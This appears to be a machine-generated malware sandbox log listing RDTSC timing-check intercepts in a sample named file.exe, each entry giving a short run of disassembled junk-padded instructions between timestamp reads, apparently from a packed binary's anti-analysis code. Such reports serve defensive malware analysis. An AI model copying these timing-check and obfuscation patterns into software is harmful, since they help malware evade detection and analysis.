Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C98B3 second address: 11C98DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F2BD92E34C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F2BD92E34D8h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C98DD second address: 11C9915 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A352h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F2BD8E8A357h 0x00000011 jno 00007F2BD8E8A346h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C9A32 second address: 11C9A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C9A38 second address: 11C9A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C9A3E second address: 11C9A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C9E97 second address: 11C9EB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A359h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C9EB4 second address: 11C9EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2BD92E34CEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CA168 second address: 11CA198 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2BD8E8A346h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F2BD8E8A356h 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007F2BD8E8A346h 0x00000019 jg 00007F2BD8E8A346h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CA307 second address: 11CA311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F2BD92E34C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9787 second address: 11D978D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D978D second address: 11D9793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E07CA second address: 11E07DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jp 00007F2BD8E8A352h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E07DB second address: 11E07E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E07E1 second address: 11E0807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F2BD8E8A34Ch 0x0000000d js 00007F2BD8E8A353h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jmp 00007F2BD8E8A34Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4017 second address: 11E4028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F2BD92E34C6h 0x0000000a jne 00007F2BD92E34C6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4028 second address: 11E4038 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jnc 00007F2BD8E8A346h 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4038 second address: 11E403C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFF51 second address: 11EFFA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A353h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F2BD8E8A350h 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2BD8E8A359h 0x00000017 jmp 00007F2BD8E8A353h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFE2C second address: 11EFE30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFE30 second address: 11EFE36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EFE36 second address: 11EFE44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F2BD92E34C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2BEA second address: 11F2C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F2BD8E8A346h 0x0000000a jmp 00007F2BD8E8A354h 0x0000000f popad 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F2BD8E8A348h 0x00000019 push eax 0x0000001a pop eax 0x0000001b jmp 00007F2BD8E8A357h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2D64 second address: 11F2D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F2BD92E34C6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F2BD92E34D4h 0x00000012 popad 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jg 00007F2BD92E34C6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2D91 second address: 11F2D97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1203391 second address: 120339D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F2BD92E34C8h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120339D second address: 12033B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A34Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12033B1 second address: 12033D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34CEh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F2BD92E34D3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12033D8 second address: 12033E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F2BD8E8A346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202229 second address: 120222F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120237E second address: 1202394 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A350h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202394 second address: 120239A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120239A second address: 12023D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A357h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F2BD8E8A350h 0x00000014 je 00007F2BD8E8A346h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12023D1 second address: 12023D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12023D5 second address: 12023DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12023DD second address: 12023E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F2BD92E34C6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202522 second address: 1202535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2BD8E8A346h 0x0000000a pop esi 0x0000000b jbe 00007F2BD8E8A348h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202535 second address: 120254F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34CEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F2BD92E34C6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12026CA second address: 12026CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12026CE second address: 12026E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BD92E34CBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202A25 second address: 1202A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F2BD8E8A346h 0x0000000a pop eax 0x0000000b pop edx 0x0000000c js 00007F2BD8E8A368h 0x00000012 js 00007F2BD8E8A352h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202BAF second address: 1202BB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202BB5 second address: 1202BC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202BC8 second address: 1202BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202BD3 second address: 1202BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120301A second address: 120302F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2BD92E34CAh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120302F second address: 1203039 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2BD8E8A346h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120600E second address: 1206018 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2BD92E34C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206018 second address: 120601E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206108 second address: 120610C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120610C second address: 120613A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2BD8E8A346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 jns 00007F2BD8E8A350h 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d jnp 00007F2BD8E8A346h 0x00000023 pop edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120613A second address: 1206140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206140 second address: 1206180 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A34Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push edx 0x0000000e jnl 00007F2BD8E8A35Fh 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206180 second address: 1206184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206184 second address: 1206197 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A34Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120935F second address: 1209386 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2BD92E34C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2BD92E34CAh 0x00000011 jmp 00007F2BD92E34D1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120B012 second address: 120B033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BD8E8A350h 0x00000009 jmp 00007F2BD8E8A34Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F005EA second address: 4F005EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F005EF second address: 4F00637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BD8E8A357h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F2BD8E8A354h 0x00000014 xor al, 00000018h 0x00000017 jmp 00007F2BD8E8A34Bh 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00637 second address: 4F0063B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0063B second address: 4F0068A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 mov ebx, 2BFC22F4h 0x0000000e mov ecx, edi 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F2BD8E8A34Eh 0x0000001a xor esi, 2D00ECA8h 0x00000020 jmp 00007F2BD8E8A34Bh 0x00000025 popfd 0x00000026 popad 0x00000027 mov bx, si 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F2BD8E8A351h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0068A second address: 4F006D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F2BD92E34D3h 0x00000012 pop eax 0x00000013 jmp 00007F2BD92E34D9h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F006D1 second address: 4F006E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BD8E8A34Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F006E1 second address: 4F006E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00745 second address: 4F0075C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A353h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0075C second address: 4F00785 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edi, 6A4172DEh 0x00000012 mov ecx, ebx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00E04 second address: 4F00E13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A34Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00E13 second address: 4F00E40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2BD92E34CDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00E40 second address: 4F00EA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A351h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F2BD8E8A351h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov dh, ch 0x00000013 mov cx, dx 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a mov cx, bx 0x0000001d mov si, bx 0x00000020 popad 0x00000021 push dword ptr [ebp+04h] 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jmp 00007F2BD8E8A350h 0x0000002c call 00007F2BD8E8A352h 0x00000031 pop esi 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00EA3 second address: 4F00EF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F2BD92E34CEh 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007F2BD92E34CBh 0x0000000f adc ax, F4DEh 0x00000014 jmp 00007F2BD92E34D9h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push dword ptr [ebp+0Ch] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F2BD92E34CDh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00EF5 second address: 4F00F05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BD8E8A34Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00F8D second address: 4F00E04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 mov bx, 7896h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c retn 0008h 0x0000000f nop 0x00000010 mov dword ptr [00F570C0h], eax 0x00000015 push 00CA1310h 0x0000001a mov ecx, dword ptr [00F570A8h] 0x00000020 push ecx 0x00000021 call 00007F2BDD55A1D9h 0x00000026 mov edi, edi 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F2BD92E34D0h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F203A4 second address: 4F20406 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 mov ch, bh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ecx 0x0000000b pushad 0x0000000c mov ah, FAh 0x0000000e call 00007F2BD8E8A34Fh 0x00000013 pushfd 0x00000014 jmp 00007F2BD8E8A358h 0x00000019 sub ecx, 1D77CF38h 0x0000001f jmp 00007F2BD8E8A34Bh 0x00000024 popfd 0x00000025 pop ecx 0x00000026 popad 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F2BD8E8A355h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20406 second address: 4F20416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BD92E34CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20416 second address: 4F2043E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F2BD8E8A358h 0x00000011 movzx esi, di 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2043E second address: 4F20444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20444 second address: 4F20448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20448 second address: 4F2049D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007F2BD92E34D2h 0x0000000e push eax 0x0000000f pushad 0x00000010 movsx edi, cx 0x00000013 pushfd 0x00000014 jmp 00007F2BD92E34CAh 0x00000019 sub cx, D8B8h 0x0000001e jmp 00007F2BD92E34CBh 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F2BD92E34D5h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2049D second address: 4F204AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BD8E8A34Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F204AD second address: 4F20519 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e jmp 00007F2BD92E34D6h 0x00000013 lea eax, dword ptr [ebp-08h] 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F2BD92E34CEh 0x0000001d and cx, 97D8h 0x00000022 jmp 00007F2BD92E34CBh 0x00000027 popfd 0x00000028 movzx eax, bx 0x0000002b popad 0x0000002c push ecx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F2BD92E34D7h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20519 second address: 4F2051F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2051F second address: 4F20523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2056C second address: 4F20571 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2060C second address: 4F20612 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20612 second address: 4F2063B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movsx ebx, si 0x0000000f call 00007F2BD8E8A358h 0x00000014 pop esi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2063B second address: 4F20642 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, C5h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
